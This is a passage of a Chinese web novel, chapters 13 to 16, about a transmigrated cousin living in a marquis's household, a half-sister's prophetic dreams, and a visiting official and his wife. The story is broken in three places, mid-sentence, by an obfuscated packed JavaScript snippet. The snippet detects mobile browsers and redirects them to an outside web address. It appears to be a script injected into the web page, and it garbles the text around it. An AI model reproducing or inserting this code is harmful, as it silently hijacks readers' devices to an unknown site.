汤母知道这怕是汤婵来处的做法,细细问过之后道:“是个好东西,咱们多做一些给各房送去。” 汤母是个面面俱到的周全人,汤婵也没反对,应了下来。 等二人回了房里,汤母说起来意,“给老夫人的针线可做得了?” 作为小辈,姑娘们时常要给长辈做些针线以表孝心,更别说她们是借住人家家里,汤母念了一句佛,“老夫人心善,还特允了咱们出门上香祭拜你父亲,咱们可得好好孝敬她老人家。” 汤婵无奈,汤母致力于将她打造成一个闺秀,布置了无数绣活。 除了大学时为了减压玩过的十字绣,汤婵也没想到她居然还有做女红的一天。 得亏是禁足在院子里没什么别的事情干,汤婵已经做好了,转头吩咐秋月道:“把我绣好的抹额拿来。” 秋月依言取了来。 汤婵绣了三条,都是绸缎底、貂皮,分别绣了蝙蝠、寿桃和牡丹纹样,“前两条给老夫人,后一条给侯夫人,您看还使得?” 汤母拿过来一看,绣出的图样,花色呆板,实在不能说漂亮,但好在针脚细密平实,一看便是花了心思的。 对方怎么也不可能真的用,心意到了就行。 汤母放下了心,“回头就给老夫人和侯夫人送去吧。” 汤婵应了是,汤母又交代道:“年后便是老夫人寿辰,给老夫人的寿礼也该准备起来了。” 汤婵眼前一黑。 得,又得做针线了,这回还是个大件的! 她仰天长叹,究竟什么时候才能成为有钱寡妇啊可恶! 唉算了,就当打发时间了。“也不知表妹们都送些什么,回头打听清楚做个参考才好。” “是这个理,”汤母点头,想起什么,“老夫人给你的那个春桃姑娘呢?” “哦,她啊,”汤婵又吸溜了一口奶茶,一边分心想着哪天闲了研究一下能不能把珍珠做出来,一边道,“我这儿禁着足,院中也没什么活计,春桃说她白领着月银,心中不安,老夫人院里事情多,她白日里就回老夫人院里,看看有没有什么能帮得上的。” 汤母皱起眉头,想说什么又止住了,只摇了摇头道,“罢,各人有各人的缘法。” 她又跟汤婵说起了刚得来的消息,“刚刚营国公老夫人来了,说想念外孙女,要把二夫人和盈姐儿接回营国公府小住。” 汤婵挑了挑眉,“老夫人允了?” 13. 第十三章 “自是允了,”汤母叹气,“老夫人知道这是二夫人搬来的救兵,不好跟亲家撕破脸,只得允了。” 自庞妍生辰,老夫人连着多日没有好脸色。侯夫人下了狠心,给庞妍请来了宫中出来的教养嬷嬷,想来是要好好扳一扳庞妍的性子。二夫人却始终不服,暗中一直有传言,说二夫人背地里埋怨老夫人偏心呢。 汤母心里很不舒服,二夫人觉得盈姐儿无辜,可婵姐儿才叫受了无妄之灾呢! 二夫人娘家势大,倒叫盈姐儿脱了身,婵姐儿又怎么办? “唔,说起来,营国公应该是手握实权的勋贵吧?” 汤婵不知道汤母心中所想,一心八卦道:“二夫人是营国公嫡出的女儿,出身这样好,怎么会嫁给不袭爵的二老爷?” “你有所不知,”汤母为她解惑,“现在的营国公是老营国公的嫡出三子,前头两位兄长都是嫡出,本与爵位无缘,当年二夫人与二老爷定下亲事的时候,也算门当户对。不过世事难料,原先的营国公世子在战场上意外伤重不治,嫡次子刚封了世子又得病去世,两房都没有长成的嫡子,便叫三房捡了便宜。” 汤婵恍然,“原来如此。” “别人家的家事先不说,”汤母又将话题拽了回来,她看着汤婵没心没肺的样子,心中愈发犯愁,“我现在担心你的婚事。如今正是交际相看的好时候,你却全被关在家里,哪里都不能去……唉,这可怎么办?” “没事,不着急,急也没用。”汤婵老神在在,吸溜完最后一口奶茶,“车到山前必有路,现在日子就挺好,过一天是一天嘛。” 老夫人跟侯夫人还等着斗法呢,依汤婵猜测,她还得再当一段时间的工具人。 汤母半天无言,却也没什么办法,“你呀……” * “不要!” 庞雅猛地从梦中惊醒,她满头冷汗,好一会儿才反应过来刚刚是梦。 帐外传来丫鬟玉坠的问候,“姑娘怎么了?还好吗?” 庞雅急促的喘息缓了下来,她闭了闭眼,“无碍,做了个噩梦而已。” 玉坠语气有些犹豫,“姑娘近些日子一直都没睡好……” “我说了无事!” 庞雅语气严厉了几分,玉坠顿时不敢再说。 庞雅这才缓下来,“什么时辰了?” “午时末了,姑娘歇晌歇了小半个时辰。”玉坠看了眼刻钟,“姑娘还要继续睡吗?” “不了,”庞雅揉着太阳穴,“去给我倒杯茶来。” 玉坠应下就要去倒茶,不过她随即想到什么,停下来试探问道:“表姑娘刚刚送来个新鲜物,说是叫奶茶,姑娘要不要尝尝?” 庞雅手一顿,“好。” 玉坠连忙去倒了一杯。 奶茶还温着,庞雅尝了一口,香甜醇厚的口感很好地抚慰了她紧绷的神经。 “味道倒还不错,”庞雅问,“这是表姐做的?以前倒是没喝过。” 玉坠答道:“是,许是南边的新鲜做法吧。” 庞雅点了点头,一口一口喝着,心也逐渐平静下来。 见主子情绪恢复正常,玉坠跟庞雅说起庞盈被接走的消息,末了不平地嘟囔道:“……分明是二姑娘同三姑娘闯了祸,累得姑娘跟着受罪,三姑娘倒被接回营国公府,这叫什么道理?” “行了,”庞雅看她一眼,用眼神制止了她,“没用的话不必再说了。” 玉坠只好闭了嘴,但她很快又像想起了什么好事,抿嘴笑道:“对了姑娘,奴婢听说,明儿宋家老夫人来,要给姑娘交换庚帖呢。” “啪”地一声,庞雅手中的杯子掉在了地上。 玉坠吓了一跳,“姑娘?” 庞雅脸色有些发白,她跟玉坠确认道:“今天是十月初六,对吧?” “是,”玉坠又是害怕又是不解,“姑娘,有什么不对吗?” “没什么不对。”庞雅藏在被子底下的手紧了紧,她露出一个笑来,“无事,你下去吧,我不太舒服,想再歇歇。” 玉坠欲言又止,最后还是没敢多言,收拾好掉在地上的碎瓷片就下去了。 等屋里只剩庞雅一个人,她的脸色沉了下去。 庞雅生母去得早,又是庶女,没有外家可以依靠。幸而老夫人一时兴起,将她养在膝下,她在这深宅大院里才算有了立足之地。 为了让这座靠山更加牢固,庞雅努力地讨好老夫人——老夫人贵为郡君,交际的都是最顶级的权贵,总能给自己找个有权有势的好夫婿罢? 万万没想到,老夫人竟给她定了宋家。 宋家确实是文名斐然的大族,传世多年,素有清流之名,宋羲和自小有神童之称,举业有望。 可清流世家便意味着家产不丰,家中日子好听点叫简朴,难听点就是穷酸,完全无法与勋贵世家相比。 文官升迁又是极慢,等宋羲和熬出头,怕不是要等个二十年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405513|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞雅心里不太满意,但她不敢在老夫人面前露出失望,更不敢推拒亲事,只能在心中安慰自己宋家家风清正,宋羲和本人才貌双全,是个过得去的选择。 然而就在此时,庞雅开始做梦,梦中的场景竟像是未来! 她梦见自己凤冠霞帔,嫁与宋羲和为妻,而宋家的生活正如预料般,很是节俭朴素。为了不惹宋老夫人不喜,庞雅只能约束自己,生活用度低得可怜,跟在闺中时相比,简直是一个天上一个地下。 好不容易熬了两年,她总算迎来了一丝曙光,这年科举,夫君宋羲和高中,且是高中状元。 生活总算有了新的盼头,可还没等庞雅扬眉吐气太久,情形便直转急下:夫君不善官场争斗,在翰林院郁郁不得志;年幼的太子夭折,几位皇子开始夺嫡,夫君卷入政党之争,被人打压陷害,她耗尽人情,舍尽家财,甚至搭上大半嫁妆,才将夫君全须全尾地捞了出来。 这也罢了,没想到夫君经此一事,心灰意冷,对官场失望之下,竟决定辞官归隐,到岳山书院教书育人了! 作为妻子,庞雅除了跟随,没有别的选择。 岳山书院地处山中,条件比在宋家还要清苦,而书院中薪水甚少,还多被夫君用来资助贫寒学子,家中进项全靠自己不多的嫁妆维持。 可笑她自闺中起,就争做姐妹里最出色的那个人,结果到头来,就只是一个身份低微的教习夫人! 反观旧时不如她的姐妹们,却个个嫁的比她好——庞妍嫁进丰王府,成了丰王世子妃,庞盈则进宫成了三皇子侧妃,后来三皇子撞大运成了太子,庞盈更是一跃成为太子侧妃,就连汤婵这个出身寒酸的表姑娘,都嫁给了锦平侯,成了一品侯夫人。 只有自己,不仅无权无势,还要日夜操劳,时时算计着三瓜两枣,年纪轻轻便心如枯木,只觉得苦日子没有尽头,还要在夫君面前强颜欢笑,装出一副采菊东篱下的悠然自得,日复一日,没有尽头。 庞雅总会在这个时候惊醒,每每醒来,压抑绝望的感觉还残留在心里。 她一开始只将这个梦当成一个噩梦,但随着时间推移,梦中的细节越来越多,给庞雅的感觉也越来越真实。 更让庞雅感觉不妙的是,梦里宋家来问名的日子,就是明日! 庞雅焦虑地咬起了手指。 所以她的梦是上天给她的警示吗?她该信吗? 若真是上天厚爱,梦中就是她的未来……她又该怎么办? 14. 第十四章 腊八节前两天,老夫人终于发了话,让姑娘们第二日来请安。 汤婵伸了伸躺酥了的骨头,这禁足总算是结束了。 夜里刚下过一场小雪,清晨雪霁天晴,今日是冬日里难得的暖阳天。园景里的枯木枝杈、假山岩石银装素裹,透着与喧嚣夏季截然不同的素雅清寂。汤婵带着春桃,一路走一路赏景,心情愉悦地抵达福禧堂。 不似那一日面色沉沉,老夫人看着心情还不错,面对汤婵的问安,老夫人笑眯眯点了点头。 汤婵看向一旁,她到得不早不晚,庞妍已经在了。 在教养嬷嬷手里走过一遭,庞妍想是吃了不少规训,往日抬着的下巴收了不少,趾高气昂的神态也收敛许多。 只是汤婵还是捕捉到了她向自己问好时眼底闪过的轻视。 江山易改本性难移,汤婵也不意外,只装作不知,笑着回了礼。 起码现在能装出个样子来了不是。 这时庞雅和庞秀也到了。 等看清庞雅,汤婵有些意外。 禁足这些时日,庞雅瞧着竟清瘦憔悴许多,连下巴都尖了。 她视线一转,和庞秀略有尴尬地对视一眼,不约而同有种想往后缩的冲动——她俩倒好,两个多月禁足下来,不仅没瘦,反倒悄悄涨了几斤秤,跟庞雅一比,更显得红润白胖,一看便知道过得十分滋润。 庞妍站起身,跟庞雅行礼问安同时告罪,这是侯夫人千叮咛万嘱咐的事情,哪怕庞妍再不甘愿也只能照做。 她咬了一下唇里的软肉,垂眼遮住眼底的不屑,“……那日我口无遮拦,大姐姐勿要跟我计较。” 庞雅也不知道看没看出庞妍的不情愿,她回了一个温和的笑,“无碍的。” 看着庞妍驯良的样子,老夫人还算满意地点了点头,“这才对,你们是一家子姐妹,应当互相友爱才是。” “行了,”老夫人说,“马上过年啦,等上元节你们再好好松快松快。” 这就算把事情揭了过去,姑娘们总算是松了口气。 陪老夫人说了一会儿话,老夫人便叫她们各自告退了。 汤婵却留在最后,暂时没走。 老夫人有点诧异,但还是慈和地问:“婵姐儿有事?” “是,”汤婵看着十分不好意思,还有点紧张,“有件事还想跟老祖宗讨个情。” 她素来是个不多话的,这还是第一回开口要什么,老夫人笑呵呵点头,“莫怕,你说。” “是春桃姐姐。”汤婵不好意思地笑,老夫人的和善似乎让她放松不少,她语气十分真诚地说道,“自到我身边,春桃姐姐教了我许多,如今自我进府也有些时日了,我也不好再霸着老夫人倚重的人,不如让春桃姐姐继续伺候老祖宗,也免得春桃姐姐两头奔忙。” 老夫人眉头微动。 她笑容不变,看向春桃,“春桃,你怎么说?” 站在汤婵身后的春桃已经抑制不住大喜过望的表情。 她早就不想在湛露院伺候,一直在借机寻找更好的出路,不料表姑娘竟然主动提起了这件事,还是让她回老夫人身边! 表姑娘虽穷酸了些,没想到为人处世如此上道! 春桃连忙磕头给老太太表忠心,“奴婢听老夫人和表姑娘的安排!” 老夫人瞧了瞧她,又瞧了瞧状似真心实意为春桃着想的汤婵,顿了一下,应了春桃,“也好,那你便回来伺候吧。” “谢老夫人!”春桃喜不自胜,给汤婵磕了许是第一个真心实意的头。 汤婵侧了身没受,春桃满心欢喜,没注意到这点细节。 老夫人意味深长地看了汤婵一眼,另指了一个丫鬟陪着汤婵回湛露院,“行了,婵姐儿回去吧,路上别冻着。” 汤婵笑着道了谢,“是。” 等汤婵回到湛露院,秋月得知春桃回了福禧堂,不由一怔,“姑娘怎地就由她这么毫发无损的回去了?” 她心中忿忿,像春桃这样不尊不忠的奴婢,早该打顿板子卖出去了! “哪里会毫发无损,”汤婵哂笑一下,脱了大氅递给她,“回去了,她的好日子就算是到头啦。” 秋月不解。 汤婵本想跟她解释,但话到嘴边,突然失了兴味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405514|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……先看着吧。” 她也不知道自己到底有没有必要报复一个身不由己为奴为婢的姑娘。 摇摇头不再多想,“走,去小厨房,看看今天琢磨点什么好吃的……” * 眼见着年关将近,府里愈发忙碌,回了娘家的二夫人也带着庞盈回府,还给众人带了礼物。 老夫人对二夫人亲热如旧,侯夫人的笑却不达眼底。 只是不管水面下如何暗流涌动,过年这个特殊的时节,大家表面上都是一派亲热。 庞盈先跟庞妍告罪,“那日是我做得不妥,欠了考虑,二姐姐勿怪。” 老夫人就在上头看着,庞妍扯出笑意来,“哪里,是我太冲动才是。” 两人各自谦虚几个来回,好一派姐妹和乐的太平景象。 就这么到了年尾,小年日祭灶扫尘,剪窗花贴春联,除夕守岁,初一拜年初二访亲,初三开始府中日日吃年酒,亲友络绎不绝,姑娘们也难得松快,凑在一起摸牌玩耍。 这天,姑娘们聚在老夫人屋里哄着老太太打马吊,世子庞逸也来了凑热闹,跟在老夫人后面出谋划策。 在内宅很少见到府里其他几个兄弟,庞逸是一屋子女眷里唯一的男丁,倒真像个姑娘堆里的贾宝玉。 还别说,许是纨绔子弟的基本修养,庞逸牌技很是不错,有他帮忙,老夫人可谓大杀四方,惹得今天牌运不佳一直没赢过的庞盈讨饶道:“老祖宗二哥哥高抬贵手,再来我明年的脂粉钱都没啦!” 她彩衣娱亲,哄得老夫人心花怒放,心情愉悦之下,老夫人自然不会小气,转头吩咐身边的任妈妈道:“你开了库房,捡几样好东西出来赏给姑娘们。” “老祖宗最大方啦!” 老夫人的赏赐可比打牌用的金豆子值钱多了,意外之喜让庞盈欢呼雀跃,姑娘们面上也都带了喜色。 正笑闹着,春芽喜气洋洋地进来通报,“老夫人,解家二爷来了!” “瑨哥儿来了?” 老夫人闻言,高兴得连抓到的好牌都顾不上了,眉开眼笑道:“快请进来!” 15. 第十五章 住在侯府这么久,汤婵已经不止一次听说过解家小舅舅这个人。 他是先侯夫人解氏的幼弟,解阁老夫人老蚌生珠得来的幼子。其实早年间京城并不太熟悉解家这位小儿子,众人讨论的更多的,是他一母同胞的兄长解磐。 解磐十六岁中举,十八岁便高中探花,可谓天纵奇才。可惜天不假年,解磐未及而立之年便不幸英年早逝,解阁老白发人送黑发人,巨大的打击之下大病一场,旋即也驾鹤西归。 当年解二爷解瑨只有十一岁,解家子嗣单薄,并无他人撑起门楣,不少人都以为解家会就此落败下去。然而仅仅九年之后,解瑨蟾宫折桂,自此青云直上,官运亨通,如今官拜大理寺少卿,以一人之力撑起了整个解家。 众人这才发现,原来解家二爷也是一位不逊父兄的英才。 自解氏过世、庆祥侯再娶后,两家逐渐疏远,这些日子侯府办的酒席上,都没有解家人出席。 但这不代表两家断了往来,解家二爷作为老夫人的晚辈,来拜个年是理所应当。 因着论起辈分,对方算是舅舅,庞家的姑娘们都没避讳,汤婵也就心安理得混在中间,准备看看这让老夫人喜笑颜开的解二爷是个什么人物。 不一会儿,一个身影踏着风雪进门。 汤婵悄悄望去,等看清来人,不由目瞪口呆。 这人怕不是靠脸升官的吧? 来人身穿藏青色直裰,披着玄色大氅,容貌冷峻,表情淡漠,高大挺拔得不像个文官。他看着二十七八年岁,已经没有初出茅庐的青涩,却也还没有谙于世故的油滑,只有超出年纪的沉稳。许是多年身居高位,又主掌刑狱,他周身带着一股藏有隐锋的迫人气势,令人不敢逼视。 如果前世酒吧或是约会软件里遇见一个这样的人,汤婵非常愿意和对方发展一段和谐美好的朋友关系,可她现在是个该死的古代大家闺秀,而对方这个年纪定然已经名花有主,注定只可远观不可亵玩。 汤婵遗憾叹气,悼念了一下自己出师未捷身先死的色心,看着解瑨拱手与老夫人见礼。 “老夫人安好。” 解瑨声音低沉,语气却柔和,“晚辈祝老夫人身体康健,万事吉祥,松鹤长春。” “好好好,”老夫人喜笑颜开,问题一个接一个,“你最近都好?家里怎么样?亲家母身体还好吧?怎么不见你媳妇儿?” 说着她自己想起来,“噢,她刚生产完,还在坐月子是吧?” “老夫人好记性,”解瑨并无不耐,一一回答老夫人的问题,“家母身子无大恙,嘱咐晚辈给老夫人带好。家中其他人也都好。” 老夫人连连点头,满眼都是对小辈的喜爱,跟解瑨说了好一会儿话,才叫庞逸和姑娘们跟他见礼。 自从听见解瑨的名字,庞逸就如同老鼠见了猫,没了半点刚才打牌的活泼劲儿。 他对解瑨扬起一个谄媚的笑来,“小舅舅。” 解瑨视线扫过来,庞逸不自觉抖了一下,笑容差点没维持住。 庞逸极怵他这位小舅舅。 犹记他十三岁那年,谭家表哥带他到京中最好的勾栏院见世面,他又是激动又是期待,然而还没来得及做什么长大成人的坏事,庞逸就被他小舅舅逮到了。 他被小舅舅拎到母亲的牌位前行家法,小舅舅揍得他哭爹喊娘,末了冷冷告诫道:“若你再做出什么有辱门风的事情,我便打断你的腿。” 事后小舅舅带着他上门给祖母请罪,庞逸还指望着老祖宗主持公道,没想到老夫人得知前因后果,虽然心疼孙子,但也没有怪罪小舅舅,反倒赞同道:“打得好!年纪轻轻便学人逛花楼,便是你不揍他,我也要好好教训这小子一顿!” 庞逸:…… 放弃挣扎,心如死灰。 自此之后,庞逸再怎么不学无术,却始终不敢过线,唯恐小舅舅言出必行,自己双腿不保。 此事留下的后遗症,便是庞逸每回遇见解瑨都是这副没眼看的样子。 解瑨微微一顿,移开了视线,“以后多上门探望你外祖母。” 庞逸赶紧小鸡啄米般点头。 轮到姑娘们,表现倒比庞逸强点,却也强得有限,只因解瑨气势极强,姑娘们又和他不熟,胆子小些的如庞秀,问好时声音都有些抖,连素来活泼的庞盈,也显得拘谨不少。 庞妍也好像害怕似的,低着头见礼后轻声细语问好,“小舅舅。” 以表尊重,解瑨的视线没有在姑娘们身上停留,都只是点了点头。 只有汤婵这个脸皮厚的,感觉到解瑨像是个大腿,还是个这么赏心悦目的大腿,也不管亲疏远近,跟着庞家姑娘们管解瑨叫小舅舅。 叫解大人哪有叫舅舅亲近? 不过解瑨没理会她这胡乱攀的亲,冲她略一颔首,冷淡的目光就划了过去。 汤婵:哇哦,好生高冷的高岭之花。 哎,可惜可看不可吃,汤婵摇摇头,将他抛到了脑后。 …… 拒了老夫人留饭,解瑨走出侯府大门,却见小厮捧砚迎了上来。 “二爷,”捧砚行礼后在他耳边低声道:“许家舅爷出事了。” 他说的许家舅爷是解瑨妻子许茹娘的弟弟,解瑨动作一顿,“怎么回事?” 捧砚小声说起来龙去脉,“今儿许少爷在万花阁宴客,遇上锦衣卫办案搜查,许少爷许是吃多了酒,叫嚣着自己的身份不肯相让,跟锦衣卫起了冲突,被锦衣卫以妨碍公务为由抓起来下了狱,要以同党论处……” 随着他说清前因后果,解瑨眉头皱得愈来愈紧。 捧砚观察了一下解瑨的表情,小心翼翼道:“……许家老夫人上门求助夫人,夫人正等您回去。” 解瑨好一会儿没说话。 捧砚垂手等着解瑨决断,想着这事儿,心中不由升起一丝对自家二爷的同情。 夫人温柔体贴,贤惠和善,哪哪儿都没得挑,就是娘家太不省心。 许家舅爷都闯了几回祸了?二十啷当的人,半点不晓事,次次需要二爷出面擦屁股不说,还觉得这是二爷应当应分的,丝毫不知感恩。 哎,其实说起来,夫人自个儿也有点儿拎不太清…… 正腹诽着,解瑨淡漠的声音传来,“走吧。” 捧砚连忙回神应道:“是。” * 解府。 许茹娘披着外衣,忧心如焚地靠坐在窗边,时不时看一眼更漏。 “二爷还没回来吗?” 不知这是许茹娘第几次问起,丫鬟萱草劝慰道:“您别急,已经派人去找二爷了。” 终于,不知等了多久,院门口有了声音,“二爷回来了!” 许茹娘眼前一亮,赶紧迎了上去。 见到解瑨,许茹娘露出笑来,想像往日一样亲自服侍解瑨脱大氅。 解瑨却抬手拒了,“你还未出月子,怎么不好好休息?” 许茹娘笑道:“母亲为了保险,才说要坐双月子,可妾身已经憋了一个月,再躺下去,身子都要锈了。” 解瑨微微皱眉,“产育最是耗费血气,还是要多注意。” 丈夫的关心让许茹娘心中一暖,“无碍的,生桓哥儿比生徽姐儿那时候顺利多了。” 二人入座,她倒了一杯热茶递过去,“外头天寒,您热热身子。” 解瑨接过茶盏,“桓哥儿带着还省心?” “省心呢,半点不闹,刚吃过奶睡下了。” 说起孩子,许茹娘眉眼带笑,她转头吩咐丫鬟萱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405515|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草,“把桓哥儿抱过来给二爷瞧瞧。” “等等,”解瑨却出言阻止,“既然已经睡下,就不必折腾了。” 许茹娘笑容微滞。 她觑着解瑨平静的神色,咬了咬唇,让萱草下去了。 屋里只剩下夫妻二人,许茹娘有些坐立不安。 “妾身弟弟的事情……您知道了吧?” 她最终还是开了口。 解瑨端着茶盏,平静的目光看向她,“你弟弟不止一次借着我的名头在外头招摇,屡教不改,这回居然惹到了锦衣卫头上。锦衣卫什么名声,你弟弟难道不知道吗?” 许茹娘苦笑。 她知道夫君不喜自己的娘家人,觉得弟弟娇生惯养,可那是她嫡嫡亲的弟弟,是她血浓于水的家人啊! 更何况这次也不全是弟弟的错,虽然听说过锦衣卫如狼似虎,可谁能想到锦衣卫竟能不分青红皂白至此,这般随意捉人呢? 父母年纪已经不小了,弟弟出事,二老还不知道要怎么担忧,万一熬坏了身子可怎么办? “他年纪小不懂事,现在定然已经知道错了,”许茹娘攥紧了手中的帕子,“您看……能不能想想法子?总要先把人捞出来再说,等他出来了,您再好好教他……” 都说诏狱不是人呆的地方,进了便要脱一层皮,弟弟从小到大没有受过委屈,哪遭得住这种罪? 她沉浸在自己的情绪里,没有注意到解瑨眼中一闪而过的失望之色。 解瑨将茶盏放了下来,神色淡淡,“你弟弟挑衅不配合在先,锦衣卫师出有名,我能有什么办法?” 许茹娘一愣,“可……您在大理寺任官,定然与锦衣卫相熟,不能找人通融通融吗?” 解瑨闻言微微一顿,“谁告诉你的?” 想起岳母早些时候来过,解瑨已经猜到了,“你娘同你说的?” 许茹娘点了点头。 母亲还跟她说,这件事情对夫君来说不会太困难的。 却没想到解瑨摇了摇头,“我同锦衣卫不宜有私交。” 言下之意,他并不好出面。 许茹娘没想到会听到这个回答,她面色一白,“您也没有办法吗?” 解瑨没有回答她。 丈夫的沉默让许茹娘的心直直往下坠,她脑子一团乱麻,手里的帕子绞得愈发紧,好不容易才强笑了一下,“若是让您为难,那就,那就算了吧,总不能让弟弟连累了您……” 解瑨垂下眼帘,依旧没有说话。 神思不属的许茹娘送了解瑨出门,愁肠百结地靠在暖炕上。 丈夫不出面,父母怪罪他们夫妻的话要怎么办? 她还能找谁帮忙? 也不知道弟弟在牢里怎么样,有没有受苦? 许茹娘心事重重,晚上翻来覆去地睡不着,许是不慎着凉,半夜时居然发起了高烧。 解瑨得到消息匆匆赶来,连夜请了大夫。 大夫诊过脉开过药,叮嘱道:“夫人刚刚生产完不久,还是要注意休息,忌多思忌伤神,以防风邪入体。” 解瑨默然。 他知道,许茹娘一定是因为挂念娘家弟弟,才如此焦急忧虑。 这次本来是真的不想管,也好让妻弟长个教训,但没想到会让许茹娘伤神至此。 许茹娘攥紧被角,微红着眼眶对解瑨道:“是妾身不争气……” 解瑨看着面带病气,唇色苍白的妻子,最终还是叹了口气, “你弟弟的事,我想想办法。” 许茹娘眼睛骤然一亮,“夫君……” 得了解瑨的承诺,她如释重负,又是感动又是不好意思,“让您费心了……” 解瑨没有再说什么,“你好好歇着罢,养好身体再说。” 16. 第十六章 白驹过隙,时光如梭,眨眼就快到元宵。 元宵佳节,女子结伴出门赏花灯,走百病,是少有的可以正大光明出去玩的机会,故而元宵是一年中闺中女子最期待的日子之一,甚至超过了除夕。 离正日子还差好几天,庞盈就坐不住了。 皇城的上元灯节闻名遐迩,她时隔多年回京,早就急着重温儿时记忆中的盛景。 庞盈提前几天就开始准备,又是试新衣裳,又是试新妆容,只为了到时候漂漂亮亮的出门。 汤婵踏进房门,脱了大氅递给丫鬟,走进暖阁,正见庞盈站在全身镜前左右转动的身影。 听见声音,庞盈转过头,看到汤婵脸上一喜,“表姐可算来了!” 她迫不及待地将汤婵拉到窗下暖炕前,“快来帮我选选,这里头哪一套最好看?” 炕上摊开摆着三套不同的衣裙,连着现在身上这套,庞盈挑了半天,也拿不定主意。 她便叫丫鬟传话,请来汤婵帮她参谋。 回京小半年,庞盈逐渐跟府里的堂姐妹熟悉起来,只是她之前没料到,比起堂姐妹,竟是表姐最合自己的脾性。 二姐姐庞妍不必说,两个人不打起来都算好的;大姐姐庞雅看着可亲,实际却颇为疏离,并不很好亲近;四妹妹庞秀性子柔顺和善,却总有些拘谨,惹得庞盈也放不太开。 倒是表姐,虽然出身不够高贵,又遭遇少年丧父这等打击,但表姐并不自卑自苦,反倒疏朗通透,随和真诚,相处起来舒服极了。 庞盈将衣裙挨个试给汤婵看,汤婵想了想,“第一套有些素净,不够喜庆,颜色跟斗篷也不太搭,第三套太单薄,冬日出门别冻着,我瞧着,还是第二套和我进门时你身上那套最好。” 庞盈一拍手掌,“我最喜欢第二套和第三套,那就第二套罢!” 定了衣服,汤婵又和庞盈一起搭配首饰,“唔,我觉得这支步摇更好,这簪子有些老气,不如步摇适合你。” “这对耳坠很好啊,跟之前的步摇很搭。” “璎珞……禁步……” 直到从头到脚都挑完,庞盈长舒一口气,挽着汤婵的胳膊道谢,“幸好有表姐帮忙,不然我要为难死了。” 汤婵哭笑不得,“哪里就这样夸张。” 二人正说着,忽听丫鬟来报,“姑娘,世子来了,说有事找您。” “二哥哥?”庞盈惊讶,“快请进来。” “三妹妹安好。”进门的庞逸先跟庞盈问了礼,没想到在这儿看到了汤婵,“表姐也在?” 汤婵笑着见了礼,以为二人有私事聊,她不方便在场,便要起身开口告辞,“我先回去了,你们聊。” “诶,表姐先别走,”庞逸叫住了汤婵,他挠挠脸,“这事儿表姐也听听。” 汤婵有点惊讶,“你说。” 庞盈也好奇,“二哥哥究竟有什么事?” “是这样的,”庞逸清了清嗓,“老祖宗这两年岁数大了,上元节都留在府里没有出去,唯恐过节街上人多,不小心冲撞了,或让老祖宗受到什么惊吓,老祖宗的身体吃不消。她老人家面上不在意,可心里定然是不好受,我便想在咱家园子里支个小一点的花灯展,也好逗老祖宗开心。” 庞盈听得瞪大了眼睛,专门给老祖宗办一个灯展? “花灯是我提前两个月找几位大师傅预订的,一共九百九十九盏,灯身用了新制的一种洒金宣纸,市面上都没有呢!这种宣纸材质更透,同样的蜡烛,花灯便会显得更亮……” 提起他的新爱好,庞逸手舞足蹈滔滔不绝,听得庞盈自愧不如,“二哥哥真是有心了!跟二哥哥一比,我可再不敢在老祖宗面前说孝顺了!” 庞逸被她夸得有点脸红,连连摆手,“哪有哪有,三妹妹夸张了。” 汤婵笑道:“所以现在是遇到什么不顺了吗?” “……是的。”被她一问,庞逸回过神,有些窘迫地摸摸鼻子,“我一不注意,工程折腾得有些大,使费比我预想的超出一些……我现在手头暂时有些紧张,还差一点儿尾款没能结清,所以想问问家中姐妹,能不能支援点银子……” 他脸色一正,严肃保证,“不用太久,下个月我定然能还上!” “大哥还差多少?”听说能帮忙,庞盈十分爽快地应了,“剩下的我都包了,也不必说什么还钱,只当是我孝敬老祖宗的。” 侯府给姑娘们的月例虽不多,逢年过节的赏赐却十分丰厚,故而姑娘们手头都有不少体己,如庞盈这样受宠爱的女儿就更不用说了。 “那不成,”庞逸摇头不应,“哪里能占妹妹的体己银子?” “表弟问过其他妹妹了么?”汤婵道,“这是好事,我虽不如妹妹们手头宽裕,但也愿尽绵薄之力。我们都出一点,也算是各自的一份孝心。” “是的是的,”庞盈连连点头表示支持,半开玩笑道,“总不能让大哥专美于前呀。” “已经都问过了,”庞逸挠挠头,“二妹妹借了六十两,大妹妹虽不喜我的想法,但也一样借了六十两,四妹妹年纪还小,借了三十两。” “什么?”庞盈十分惊讶,没忍住道,“这么好的点子,大姐姐居然还不喜欢?” “啊哈哈。”庞逸尴尬地笑了一声,表情讪讪。 大妹妹何止是不高兴? 他话还没说完,庞雅便蹙起柳眉,忍了半天,还是开口劝说道:“二哥哥,玩物丧志,花灯到底是上不得台面的东西,若是二哥哥能取得些功名,或得一二正经差事,想必老祖宗会更加高兴。” 